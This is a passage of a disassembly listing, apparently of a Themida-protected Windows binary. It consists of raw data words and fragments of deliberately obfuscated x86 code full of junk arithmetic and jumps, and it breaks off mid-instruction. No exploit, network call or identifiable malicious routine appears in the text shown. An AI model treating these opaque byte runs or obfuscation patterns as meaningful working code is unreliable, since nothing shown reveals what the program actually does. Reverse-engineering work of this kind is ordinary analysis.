0C7ADE9h, 30886800h, 24890000h, 51936824h dd 34890000h, 0B520E924h, 5056FFFFh, 0D27BB4B8h, 24442937h dd 515D5804h, 2B109AB9h, 0F848E90Bh, 575AFFFFh, 36E9BE56h dd 1AE95FF5h, 0BA000063h, 465822F2h, 0FF8B50E9h db 0FFh ; --------------------------------------------------------------------------- loc_596321: ; CODE XREF: Themida_:0059BBA9j add esi, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push eax mov eax, 4 push 41F4h jmp loc_5929E9 ; --------------------------------------------------------------------------- db 68h, 4, 0 dd 15D0000h, 6B685DE8h, 89000045h, 0EC83240Ch, 0D3EBE904h dd 0FA68FFFFh, 89000077h, 1B68241Ch, 89000055h, 0A2E9243Ch dd 51FFFFF8h, 0EB88CAB5h, 81240C8Bh, 4C4h, 0FFC38000h dd 0C386EBD0h, 0C386D0F6h, 0F637F380h, 0F4EB80D3h, 0C8E9D828h dd 8BFFFFBCh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 jmp loc_591D88 ; --------------------------------------------------------------------------- dd 0C181F929h, 55135673h, 755CE981h, 835F64A0h, 3C8904ECh dd 692DE924h, 0EB810000h, 45D670CCh, 0A4E9F301h, 0C100001Dh dd 6CE908E7h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5963EB: ; CODE XREF: Themida_:0059E75Fj push eax mov eax, 0B9FC3A88h sub edx, eax pop eax jmp loc_59E247 ; --------------------------------------------------------------------------- loc_5963F9: ; CODE XREF: Themida_:00596BDBj pop eax add edi, 768CC5DCh xor edx, edi pop edi push edx pop edi pop edx push edx jmp loc_594FFE ; --------------------------------------------------------------------------- dd 5AD1015Dh, 68BB68h, 240C8900h, 42474FFh, 24048F59h dd 48B665Ch, 0B1D4E924h, 1EBBFFFFh db 38h, 66h, 45h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi mov edi, ebx mov edx, edi mov edi, [esp] add esp, 4 pop ebx xor edx, 2BD7614Ah jmp loc_593973 ; --------------------------------------------------------------------------- dd 24048F58h, 8924248Bh, 0EC83240Ch, 24148904h, 0E9C58851h dd 0FFFFA439h, 4EC81h, 3FE90000h, 5A00001Ch, 88FBE9h, 58C32900h dd 5D2BEB81h, 0C30124FFh, 5D2BC381h, 0BD5524FFh, 727E4A32h dd 8106EDC1h, 0FFFFFFC5h, 20BF57FFh, 0F7733379h, 81DFF7D7h dd 6B157AF7h, 0E9FD310Bh, 418h dword_5964B8 dd 7BE968h, 0A4C3E900h, 0B652FFFFh, 1EE80B5h, 0F6F78853h ; DATA XREF: Themida_:0058E24Co dd 5BFE88D7h, 20E9D6F6h db 0F1h, 2 dup(0FFh) aMs1i db '¬é1›',0 ; DATA XREF: Themida_:0058E210o dd 5EF23100h, 6FBCBF57h, 0FA092E6Fh, 0FDEA815Fh, 1A8C980h dd 0C6815AD6h, 340375DEh, 0AF82E953h, 87560000h, 1FE9241Ch db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_596507: ; CODE XREF: Themida_:0059A517j pop ebx add eax, 7A16229Fh jmp loc_599396 ; --------------------------------------------------------------------------- dw 3FBAh dd 4231C062h, 0E906EAC1h, 0BBE6h ; --------------------------------------------------------------------------- loc_596520: ; CODE XREF: Themida_:0058F553j pop edx mov edi, [esp] add esp, 4 not edi push edx push edi pop edx pop edi push esi jmp loc_59FC5B ; --------------------------------------------------------------------------- dw 0C383h dd 6EBC101h, 0CE62F381h, 0DE890B6Dh, 0FFE7F7E9h, 3DE581FFh dd 812D162Ch, 0C16138F5h, 5DE801C4h, 48BC701h, 4C48324h dd 0CDB7E957h, 0C8BFFFFh, 4C48124h, 0E9000000h, 1E25h ; --------------------------------------------------------------------------- loc_596574: ; CODE XREF: Themida_:005911ADj push eax jmp loc_58FA14 ; --------------------------------------------------------------------------- dw 34FFh dd 0C59EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596582: ; CODE XREF: Themida_:0058E5A5j push 1ABBh mov [esp], eax mov eax, 44E20A34h xor eax, 2D1D572Bh inc eax jmp loc_59F08C ; --------------------------------------------------------------------------- dw 0C781h dd 5CB04BEDh, 5624048Bh, 0C681E689h, 4, 8704C683h, 0E95C2434h dd 0FFFFC832h, 0B8240489h, 64EC431Dh, 7E8C148h, 3085E9h dd 0F3815B00h, 787B30DBh, 0C108EBC1h, 0EB8107EBh, 451Eh dd 0AE9D989h, 8100006Ch, 0E7084DC2h, 2434FF5Eh, 4C4815Eh dd 1000000h, 85C281DAh, 5B56014Ch, 4BB53h, 0DA010000h dd 81241C8Bh, 4C4h, 24148700h, 0FF24248Bh, 81582434h, 4ECh dd 24348900h, 0E952E689h, 0FFFFF308h ; --------------------------------------------------------------------------- loc_596628: ; CODE XREF: Themida_:0059D453j add ebx, esi pop esi add eax, ebx pop ebx xor ebx, eax pop eax mov ecx, [esp] add esp, 4 xor ebx, edx jmp loc_594A74 ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0EA830000h, 24143304h, 33241431h, 248B2414h dd 0F3FCE924h, 805AFFFFh, 78E901EBh db 0C7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_596663: ; CODE XREF: Themida_:00596DDFj add ebp, 4 xchg ebp, [esp] jmp loc_593BE6 ; --------------------------------------------------------------------------- dw 0C31h dd 240C3324h, 8E9EE9h, 5FFB2900h, 4058E9h, 24BA5200h, 81000000h dd 747846C2h, 0E9FA012Bh, 9F5Ch, 89242C89h, 4C581E5h, 83000000h dd 20E904ECh, 87FFFFF3h, 0D5E9240Ch, 89FFFFD6h, 4682404h dd 0E9000000h, 0C89Ah, 3F1868h, 242C8900h, 21229568h, 0C1455D55h dd 0ED8107E5h, 90914AFCh, 0A68EE951h, 3B680000h, 5F4B881Fh dd 73EF814Fh, 0E96A8726h, 0FFFFDFE6h, 50C5CF81h, 0BE5650D0h dd 42F27D4Bh, 815EF731h, 0CF36EACFh, 0E3B8500Eh, 31D9CC75h dd 0F82158C7h, 64FF355Fh, 22056E9Dh, 29F0223Ch, 0D70158C7h dd 621CC781h, 34FF1CC1h, 0C4835A24h, 243C3304h, 33243C31h dd 0D25C243Ch, 0E99C240Ch, 0FFFF7C17h, 0E950D929h, 655Eh dd 1A16B850h, 1EE9246Fh, 83FFFFA3h, 1C8904ECh, 2858BB24h dd 0EBC14D64h, 14F38108h, 0E9481562h, 45ADh, 111768h, 0AA9EE900h dd 0E568FFFFh, 89000020h, 8F240Ch, 0FF7BD2E9h, 0EB835EFFh dd 241C8704h, 240C895Ch, 0C00001B9h, 0CADDE97Dh, 595D0000h dd 0E9243C87h, 0FFFFEF85h, 50F8C380h, 0E32050B4h, 0F6CBFE58h dd 3DF380D3h, 805BDC20h, 0F480CAC4h, 0A5CC80E6h, 80B4E9h dd 84056600h, 7F2D662Dh, 4EC8353h, 66240C89h, 66422EB9h dd 6602E1C1h, 1E981h, 77686653h, 525B6627h, 48C4BA66h dd 0BEB0E9h, 4C68100h, 81000000h, 4EEh, 0E3F3E900h, 8358FFFFh dd 48F04C4h, 24248B24h, 0FF241C89h, 0E9582434h, 0FFFFB2EEh dd 0E959CA29h, 0FFFFCE21h, 37BA5259h, 14C1063h, 886AE9D0h dd 0D8090000h, 13E2E9h db 0 ; --------------------------------------------------------------------------- loc_596831: ; CODE XREF: Themida_:005A1057j add edi, 57DB22AAh sub esp, 4 mov [esp], ecx mov ecx, 2FC81F53h add edi, ecx mov ecx, [esp] jmp loc_58E724 ; --------------------------------------------------------------------------- db 83h dd 48F04C4h, 8B665C24h, 0DD682414h, 8900006Ch, 5F54243Ch dd 0FFA923E9h, 5FBB53FFh, 830C216Dh, 0E95201C3h, 0FFFF7E71h dd 8124248Bh, 4C3h, 4B95100h, 29000000h, 9DF5E9CBh, 0C2810000h dd 72256AB8h, 2F09EA81h, 0EA291E99h, 2F09C281h, 0EA811E99h dd 72256AB8h, 83242C8Bh, 34FF04C4h, 0C4815F24h, 4, 0E9241487h dd 4410h, 0BD242C89h, 54B61722h, 0E902E5C1h, 5726h, 0D3C5815Fh dd 0E9371617h, 0FFFFBFB0h, 771DED81h, 0C58174CAh, 26254E69h dd 83240C8Bh, 0FD0104C4h, 1631ED81h, 515F1BAAh, 8C5E9h db 0 ; --------------------------------------------------------------------------- loc_5968FD: ; CODE XREF: Themida_:005956D0j xor [esp], ebp jmp loc_5A259E ; --------------------------------------------------------------------------- loc_596905: ; CODE XREF: Themida_:0059A11Aj add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub esp, 4 mov [esp], eax jmp loc_59F6EF ; --------------------------------------------------------------------------- dword_596920 dd 3DA768h, 242C8900h, 8904EC83h, 6857241Ch, 6FE309ECh ; DATA XREF: Themida_:0058E0A4o dd 1EC7815Fh, 89DAEA51h, 243C8BFBh, 5604C483h, 2C1CF768h dd 0CE815E2Eh, 334F77AAh, 0BF57DEF7h, 4E39095Fh, 0EF81D7F7h dd 0C5228147h, 895FFE31h, 0ED815EF5h, 67704460h, 38E9DD01h dd 80FFFF7Ah, 885360F6h, 5BDC88F3h, 8324148Bh, 0EC8004C4h dd 58E7200Ch, 8904EC83h, 7CE92404h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_596993: ; CODE XREF: Themida_:00590222j add ebp, 4 sub ebp, 4 jmp loc_594794 ; --------------------------------------------------------------------------- dd 801CF180h, 0F9283CC1h, 8B3CE980h, 0C481241Ch, 4, 687CF180h dd 3C51h, 0B0240489h, 8BABE91Eh, 2C330000h, 0C7815C24h dd 4, 0C8F4E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5969DA: ; CODE XREF: Themida_:0059C8E7j sub edi, 2 xchg edi, [esp] mov esp, [esp] mov [esp], cx jmp loc_58E66F ; --------------------------------------------------------------------------- db 0B8h dd 522D267Ch, 83E9C701h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5969FB: ; CODE XREF: Themida_:00592D48j push 54D8h jmp loc_591CFE ; --------------------------------------------------------------------------- a1Svl db '1,$éV«',0 dd 0FFC18000h, 0E904E980h, 6315h, 8904EC83h, 9E682414h dd 89000069h, 4832424h, 7BE90424h, 0FE00001Fh, 4EC81C1h dd 0E9000000h, 0FFFFDB74h, 0F387D6F7h, 8B241C87h, 0C4832434h dd 0AEB85004h, 319D6A07h, 0F18958C6h, 0CD43E95Eh, 2768FFFFh dd 0E9000062h, 0FFFF85D2h, 4FE9FE87h, 8100006Ch, 0B50FA5CFh dd 54E9536Ah, 0BB000051h, 296D46A6h, 58DC68h, 243C8900h dd 8446DBBFh, 5FFB0172h, 5603EBC1h, 0CD0AEBBEh, 67F68146h dd 0E96C2505h, 0FFFFC2C5h, 1FCBD55h, 0D3E916BEh, 89000088h dd 17E952E1h, 5C00008Dh, 6866D828h, 89666064h, 0B9B22414h dd 0D000C904h, 42E9C92Ch, 89FFFFE5h, 4AE9241Ch, 54000018h db 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_594B5F ; --------------------------------------------------------------------------- db 29h, 0D3h, 5Ah dd 0AABE5658h, 8166A123h, 9C4402F6h, 5EF3011Dh, 0F3814Bh dd 0E99C2D6Ch, 0FFFFE648h dword_596B08 dd 24048B66h, 4EC81h, 0C890000h, 83E18924h, 1C8904ECh ; DATA XREF: Themida_:0058E2A8o dd 4BB24h, 0BD550000h, 1A510C6Bh, 7105E581h, 0E95028C0h dd 0FFFF855Ch ; --------------------------------------------------------------------------- loc_596B34: ; CODE XREF: Themida_:00594B54j xchg ecx, [esp] sub esp, 4 jmp loc_59D592 ; --------------------------------------------------------------------------- loc_596B42: ; CODE XREF: Themida_:00595A27j pop ebp jmp loc_599E86 ; --------------------------------------------------------------------------- dd 0E9240C89h, 3062h ; --------------------------------------------------------------------------- loc_596B50: ; CODE XREF: Themida_:0058FED2j pop ecx mov edx, 87AB199Fh xor edx, ebx pop ebx sub edx, ebp mov ebp, [esp] add esp, 4 sub esi, edx mov edx, [esp] add esp, 4 sub edi, 113D29B3h add edi, 546A1E65h sub edi, esi jmp loc_5929F1 ; --------------------------------------------------------------------------- db 1 dd 66ED81CDh, 59557474h, 3304C583h, 2C31242Ch, 0FE34E924h dd 0EC81FFFFh, 4, 0E9243489h, 0BCCFh, 535DEA01h, 3496BF57h dd 0EFC1233Ch, 57F78107h, 81264A5Ch, 0C243CF7h, 0FFFB8926h dd 0E95F2434h, 99F4h ; --------------------------------------------------------------------------- loc_596BC8: ; CODE XREF: Themida_:0058E9C4j push edi mov edi, 1CD66548h push eax mov eax, 6FA40C42h sub eax, 0A31FC77h and edi, eax jmp loc_5963F9 ; --------------------------------------------------------------------------- dd 72B8EB81h, 0DBF75471h, 19E9D3F7h, 53FFFF99h, 3308E9h dd 0E961B300h, 0FFFFEF82h ; --------------------------------------------------------------------------- loc_596BFC: ; CODE XREF: Themida_:00593A27j mov ebx, esp jmp loc_590529 ; --------------------------------------------------------------------------- loc_596C03: ; CODE XREF: Themida_:005A0E34j add ebx, 53241697h jmp loc_5907BF ; --------------------------------------------------------------------------- loc_596C0E: ; CODE XREF: Themida_:00596141j push 4CE4h jmp loc_59BEC9 ; --------------------------------------------------------------------------- loc_596C18: ; CODE XREF: Themida_:0058FEEBj push 5883h jmp loc_592DF5 ; --------------------------------------------------------------------------- dw 2CE9h dd 57FFFF77h, 0C781E789h, 4, 0E904C783h, 0FFFF90EFh, 52E9FD01h dd 81000095h, 4ECh, 243C8900h, 9E168h, 241C8900h, 7E31D5BBh dd 0C3814302h, 25FB3EEAh, 815B5F53h, 7970BFEFh, 0BD4EE928h db 2 dup(0) word_596C6A dw 74FFh ; DATA XREF: Themida_:0058E144o dd 34FF0424h, 24048B24h, 4EC81h, 14890000h, 81E28924h dd 4C2h, 4C28300h, 5C241487h, 0FF8701E9h db 0FFh ; --------------------------------------------------------------------------- loc_596C91: ; CODE XREF: Themida_:0059A5A3j xchg eax, ebp not eax xchg eax, ebp neg ebp jmp loc_590639 ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFFDFA7h, 8124248Bh, 4C4h, 4EC8100h, 89000000h dd 94BF243Ch, 81427939h, 4ECh, 240C8900h, 49AD6856h, 0E95E0035h dd 0FFFFD448h, 29665D66h, 50665AD3h, 243AB866h, 66C32166h dd 8124048Bh, 2C4h, 0EB816600h, 0F7661705h, 0C38166DBh dd 296612A3h, 9FE95BD9h, 800000A0h, 0F2804FEAh, 0E9D12053h dd 0B5EAh, 0D188E288h, 88FC885Ah, 805966CFh, 0F800ABF7h dd 0E92434FFh, 3EE9h, 0F0307CBEh, 0A8CE8145h, 0C1737819h dd 0E6C103EEh, 0D847E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596D3A: ; CODE XREF: Themida_:005952B0j mov edi, [esp] push eax mov eax, esp jmp loc_593E32 ; --------------------------------------------------------------------------- db 56h, 0E9h, 0B4h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596D4B: ; CODE XREF: Themida_:00597186j push dword ptr [esp] pop edx sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add ecx, esi mov esi, [esp] jmp loc_5A2C18 ; --------------------------------------------------------------------------- dw 0E180h dd 88E980A1h, 0C8BC828h, 4C48124h, 2C000000h, 89C7E954h dd 0C483FFFFh, 2434FF04h, 4C48159h, 30000000h, 443DE9D8h dd 0C2680000h, 0E9000035h, 0FFFFE78Ah, 34FFF831h, 0C4835F24h dd 66EE6804h, 14890000h, 0BE565724h, 65DD4917h, 3404EBBFh dd 5EF701DCh, 0F11DB7BAh, 8BFA312Ch db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_596663 ; --------------------------------------------------------------------------- loc_596DE4: ; CODE XREF: Themida_:0059F6AEj push dword ptr [esp] pop eax add esp, 4 mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 jmp loc_5A093D ; --------------------------------------------------------------------------- dd 34FBE281h, 0AAE93D82h, 5A0000BFh, 2007E9h, 24148900h dd 4BF3E9h db 0 ; --------------------------------------------------------------------------- loc_596E15: ; CODE XREF: Themida_:0059F2CBj push esi mov esi, 22494CEEh push ebp mov ebp, 17E74420h shr ebp, 5 dec ebp add ebp, 0FFFFFFFFh not ebp push esi mov esi, 0D855A8B1h sub ebp, esi jmp loc_58EBE7 ; --------------------------------------------------------------------------- db 83h dd 0D93104C4h, 0D931CB31h, 0D987D3F7h, 0B72BE956h, 0BF570000h dd 192810CCh, 815FFE31h, 0A06172EEh, 5EF30125h, 34FF5451h dd 2434FF24h, 4C48359h, 8104C483h, 4C1h, 4E98300h, 5C240C87h dd 68241489h, 72F97B5Bh, 58E9525Ah, 8BFFFFBCh, 85662424h dd 0C0E99CC8h, 89FFFF74h, 4BF243Ch, 57000000h, 9CADE9h dd 241C8700h, 6624248Bh, 9C240CD3h, 0FF74A2E9h db 0FFh ; --------------------------------------------------------------------------- loc_596EB1: ; CODE XREF: Themida_:0059BC06j add edx, 8587B1Dh push eax mov eax, 3F2C12D0h push edi push ecx jmp loc_5901D7 ; --------------------------------------------------------------------------- dd 232B1305h, 0EC815B72h, 4, 89240489h, 405E0h, 0E8830000h dd 24048704h, 2404895Ch, 42474FFh, 24048F58h, 924248Bh dd 0E99C2404h, 0FFFF745Bh, 0BB241C89h, 585D5EDFh, 9B34E956h dd 8B5DFFFFh, 0C483243Ch, 242C8B04h, 0F304C483h, 386203A5h dd 6552E9h db 0 ; --------------------------------------------------------------------------- loc_596F1D: ; CODE XREF: Themida_:0059B0BAj mov esi, 455704E6h jmp loc_5996B6 ; --------------------------------------------------------------------------- db 8Fh dd 0FF5C2404h, 148B2434h, 7651E924h db 2 dup(0) word_596F36 dw 34FFh ; DATA XREF: Themida_:0058E1DCo dd 2434FF24h, 5FE5E9h, 4EC8300h, 0B2241489h, 4EAFE90Ch dd 89530000h, 4C381E3h, 81000000h, 4C3h, 74FF5300h, 0E95B0424h dd 0FFFFE943h, 45A0C781h, 0C781758Bh, 74DF5119h, 47EAC781h dd 0E9516326h, 0FFFFAE7Bh, 93EA805Bh, 148BD030h, 0A5E95224h dd 0B8000097h, 531B6760h, 9CFFE9h, 0B9515600h, 6C3F0C37h dd 0FFAFADE9h db 0FFh ; --------------------------------------------------------------------------- loc_596FA5: ; CODE XREF: Themida_:00599398j sub eax, 7A16229Fh pop edi push edi mov edi, 4 add eax, 64072D1h add eax, edi jmp loc_59EB14 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0C10418BFh, 8BF80179h, 0AE9243Ch db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596FCF: ; CODE XREF: Themida_:005A2A7Ej add esp, 4 push ebx mov ebx, 140C2D43h shl ebx, 7 sub ebx, 5E007670h neg ebx neg ebx xor ebx, 0A90D54AEh xor ebp, ebx pop ebx dec ebp shr ebp, 6 neg ebp push edi mov edi, 0B415B98Ah xor ebp, edi pop edi xor edx, ebp mov ebp, [esp] add esp, 4 push 5CA8h mov [esp], edi mov edi, 56596E62h or edi, 7B9328BEh add edi, 33757037h push edi not dword ptr [esp] pop edi neg edi shl edi, 8 add edi, 0ABA1914Ah add edx, edi pop edi sub esp, 4 mov [esp], edx sub dword ptr [esp], 4CB9701Dh mov ebp, [esp] add esp, 4 jmp loc_58F838 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFC251h, 5E6F2D40h, 0C501A38Bh, 449CE9h db 0 ; --------------------------------------------------------------------------- loc_597065: ; CODE XREF: Themida_:005A0C50j not dl push ecx mov ch, 22h sub dl, ch pop ecx sub dl, 76h mov al, dl jmp loc_59050E ; --------------------------------------------------------------------------- loc_597077: ; CODE XREF: Themida_:00599D74j add ecx, ebx add ecx, 83F7051h pop ebx xor ecx, [esp] xor [esp], ecx jmp loc_5A300E ; --------------------------------------------------------------------------- db 5Dh dd 3304EA83h, 14312414h, 24143324h, 551CE9h, 4C48300h dd 1C8BD829h, 4C48124h, 8B000000h, 3FE92414h, 81000030h dd 4ECh, 24348900h, 49B8E9h, 30E95300h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5970C7: ; CODE XREF: Themida_:00598B0Bj mov ecx, 4C50FCAh sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], edx push 1E5F4C57h mov edx, [esp] add esp, 4 push ebp mov ebp, 15952854h or edx, ebp mov ebp, [esp] add esp, 4 push 382h mov [esp], eax mov eax, 1B1A5C89h push ebx jmp loc_59CEBC ; --------------------------------------------------------------------------- dw 0E800h dd 567F0459h, 0B850E689h, 5AF07738h, 77352D40h, 0C6015AF0h dd 0C2F8E958h, 0E6C1FFFFh, 2FE94604h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59712F: ; CODE XREF: Themida_:0059361Fj dec bh add bh, 0FBh jmp loc_599F31 ; --------------------------------------------------------------------------- db 4Fh, 47h, 0E9h dd 0FFFFE518h dword_597140 dd 4EC81h, 4890000h, 52DCB824h, 0B9517D3Ch, 290317CEh ; DATA XREF: Themida_:0058E0DCo dd 0F759C821h, 0CBE56D8h, 0E9D6FFEDh, 0FFFF7269h ; --------------------------------------------------------------------------- loc_597164: ; CODE XREF: Themida_:0059A8DFj mov ebx, 3B5B2DEEh sub [esp+4], ebx push dword ptr [esp] jmp loc_59E347 ; --------------------------------------------------------------------------- loc_597175: ; CODE XREF: Themida_:00590650j mov esi, ecx pop ecx add esi, 2DDE5876h sub esi, edx sub esi, 2DDE5876h jmp loc_596D4B ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 34FFE829h, 0A74AE924h, 0C33FFFFh, 24248B24h dd 9D6AE9h, 2474FF00h, 84CBE904h, 0CC880000h, 0BDE9C4FEh dd 0F6000079h, 7D4FE9D5h, 4B90000h, 81000000h, 0B70E2BC5h dd 0F0C5812Ch, 1399F2Eh, 0F0ED81CDh, 81399F2Eh, 0B70E2BEDh dd 0E955592Ch, 0FFFFCB40h, 0C1805866h, 0E9D100D8h, 111Eh dd 875BDF29h, 895C243Ch, 16BF243Ch, 0E95C3D06h, 0BB15h dd 6C1B68h, 0F49DE900h, 3989FFFFh, 0F231815Fh, 8B26E277h dd 0EC81240Ch, 4, 0E9240C89h, 0A79Ch, 0A7360D68h, 24148B33h dd 5604C483h, 9A6CAFBEh, 59EE810Ch, 4E2CE94Fh, 754EF681h dd 0C6813180h, 7373FFFFh, 0E95EF221h, 2437h, 5C240C87h dd 8904EC83h, 68512434h, 4C6B09A0h, 4312E9h, 0BD555F00h dd 4, 6AE9EF01h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59727B: ; CODE XREF: Themida_:0059F1CFj sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 1 push ebx mov ebx, 42B66983h sub dword ptr [esp+8], 16046BDFh sub [esp+8], ebx add dword ptr [esp+8], 16046BDFh pop ebx add [esp+4], ebp push ebx mov ebx, 42B66983h sub dword ptr [esp+8], 1E882743h add [esp+8], ebx push 7A4Ah mov [esp], eax jmp loc_59C39A ; --------------------------------------------------------------------------- dword_5972C8 dd 24048B66h, 6982E9h db 0 ; --------------------------------------------------------------------------- loc_5972D1: ; CODE XREF: Themida_:00593975j pop edx and eax, 33C21A89h shr eax, 8 push edi mov edi, 32C21Ch xor eax, edi mov edi, [esp] add esp, 4 add ebx, 71F75F7h add ebx, eax sub ebx, 71F75F7h pop eax push 7DF3h mov [esp], eax mov eax, 4 sub ebx, 53241697h jmp loc_58EA4A ; --------------------------------------------------------------------------- dw 0EA81h dd 173522Ah, 27BEE9h, 2BE94D00h, 8100004Fh, 435192F1h dd 8BCD012Eh, 0C483240Ch, 5DE80104h, 66C3315Fh, 0D0E9008Fh dd 0E9000077h, 0FFFF700Fh, 24048B66h, 14EE68h, 242C8900h dd 0B7CCE9h, 24348700h, 0B015E95Ch, 685B0000h, 28A9h, 52241489h dd 1C8AB951h, 0D0BA421Bh, 31527970h, 543159CAh, 34FF0424h dd 0C4815A24h, 4, 8B2434FFh, 89562404h, 1E8EE9E6h, 0EC830000h dd 48F5404h, 24048124h, 4, 83243C8Bh, 6BE904C4h, 56FFFFC1h dd 1A5806BEh, 8BF72966h, 9CE92434h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5973BB: ; CODE XREF: Themida_:00592C00j pop esp add eax, esi jmp loc_59F711 ; --------------------------------------------------------------------------- db 88h dd 0B75B59EEh, 0FFF73084h, 815A2434h, 4C4h, 4320400h, 0E9F828A9h dd 0FFFF7216h ; --------------------------------------------------------------------------- loc_5973E0: ; CODE XREF: Themida_:0059F6F4j sub ebp, eax pop eax sub ebp, 346718Ah push eax push 73443C38h pop eax sub ebp, eax jmp loc_59E228 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF6F57h, 0EE815B5Eh, 0BF7CEEECh, 0FF70AAE9h, 240489FFh dd 535711B8h, 2C81BE3Dh, 0C63172F6h, 5324048Bh, 0C381E389h dd 4, 0E904C383h, 0B23Dh, 0EC81F828h, 4, 99A3E9h db 0 ; --------------------------------------------------------------------------- loc_597439: ; CODE XREF: Themida_:0058FA29j shl ebx, 1 jmp loc_599DB8 ; --------------------------------------------------------------------------- dword_597440 dd 2B60F66h, 8904EC83h, 8B542414h, 0C4812414h, 4, 5CE95550h ; DATA XREF: Themida_:0058E09Co dd 1FFFF83h, 0EF815AD7h, 6A617DC8h, 0C781F701h, 6A617DC8h dd 4780EF81h, 835E13F8h, 3C8704C7h, 24248B24h, 66242C81h dd 169BF0Ah, 4812404h, 0BF0A6624h, 73306869h, 1C890000h dd 12F2BB24h, 5C0116DFh, 0E95B0424h, 0FFFF6EAFh, 33241C31h dd 248B241Ch, 2E796824h, 3C890000h, 0D86CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5974BA: ; CODE XREF: Themida_:005933F6j pop esp mul cl movzx cx, ah push small 54C6h mov [esp], cx movzx cx, al push cx pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5974D5: ; CODE XREF: Themida_:005A1791j mov ebp, esp jmp loc_59D06F ; --------------------------------------------------------------------------- loc_5974DC: ; CODE XREF: Themida_:0059F447j mov ebx, 27BABE4Eh jmp loc_59C091 ; --------------------------------------------------------------------------- dw 15Dh dd 53EB81CBh, 8B26B460h, 5452240Ch, 4C2815Ah, 0E9000000h dd 96Ch ; --------------------------------------------------------------------------- loc_597500: ; CODE XREF: Themida_:005A2EFAj xor ebx, [esp] mov esp, [esp] and dl, 24h not dl push eax jmp loc_59764A ; --------------------------------------------------------------------------- loc_597511: ; CODE XREF: Themida_:0059B869j sub ebx, ecx pop ecx add ebx, edi add ebx, 2FA41139h pop edi sub ebx, esi sub ebx, 26F61C9Eh pop esi jmp loc_5A096A ; --------------------------------------------------------------------------- db 5Ch dd 405h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 4 mov [esp], ebx jmp loc_597C98 ; --------------------------------------------------------------------------- dw 4040h dd 76301225h, 4EC837Ch, 56243C89h, 452F3DBEh, 5EF7892Bh dd 0C1FFEF83h, 0EFC104EFh, 0BEF78105h, 81799314h, 0E77FADCFh dd 4EC8361h, 8722E9h, 0D8BF5700h, 0E9286D38h, 9298h, 4BE5653h dd 89000000h, 0ADE95EF3h, 81000001h, 410843EDh, 81F50159h dd 410843C5h, 24348B59h, 4C481h, 0EC830000h, 24148904h dd 0FFCC6EE9h, 14875FFFh, 0C895C24h, 0E77CB924h, 0C82937FFh dd 8B2434FFh, 0C483240Ch, 0E6895604h, 74A2BD55h, 0E5810A54h dd 60AD0DEBh, 40E2BB53h, 0C381292Fh, 28CB3648h, 8108E3C1h dd 8CD162F3h, 5BDD0105h, 555DEE01h, 5F65A8BDh, 5CC5812Eh dd 1D1A09Ah, 0F1E95DEEh, 8300005Ch, 48704E8h, 1C895C24h dd 4BB24h, 0B4E90000h, 8B000010h, 0C4812404h, 4, 4C481h dd 54570000h, 81243C8Bh, 4C4h, 4C78100h, 83000000h, 0A8E904EFh db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597643: ; CODE XREF: Themida_:005A22C6j add al, dh jmp loc_58FD4F ; --------------------------------------------------------------------------- loc_59764A: ; CODE XREF: Themida_:0059750Cj mov al, 9Ch inc al xor al, 62h sub dl, al pop eax shl dl, 1 jmp loc_5A0E4E ; --------------------------------------------------------------------------- aIS db '‰,$é',0Dh,';',0 align 2 aLHbs db '‹$$hbs',0 align 2 dw 489h dd 68E08924h, 1CA1h, 0E9241489h, 27FDh ; --------------------------------------------------------------------------- loc_59767C: ; CODE XREF: Themida_:0059BF2Cj add cl, dl pop dx sub dl, cl pop ecx xor dl, 78h add al, 15h jmp loc_5A25F5 ; --------------------------------------------------------------------------- dd offset dword_4491D4+59ACh db 0D8h, 5Bh, 0E9h dd 0FFFFFD94h, 87F8192Dh, 58C1293Eh, 0F704E9C1h, 2BE981D1h dd 1AB216Eh, 0BD5559C8h, 0B9A0B20h, 0E9D5F745h, 0FFFFC4EFh ; --------------------------------------------------------------------------- loc_5976BC: ; CODE XREF: Themida_:005A1190j shr ecx, 0Bh push 0CF5h mov [esp], ebx add dword ptr [esp], 7ACD6B0Ch mov eax, [esp] push ebp mov ebp, esp jmp loc_5A2CEF ; --------------------------------------------------------------------------- loc_5976D9: ; CODE XREF: Themida_:005A1158j mov ecx, [esp] add esp, 4 or eax, eax jnz loc_597D1E push 54C2h mov [esp], edi sub esp, 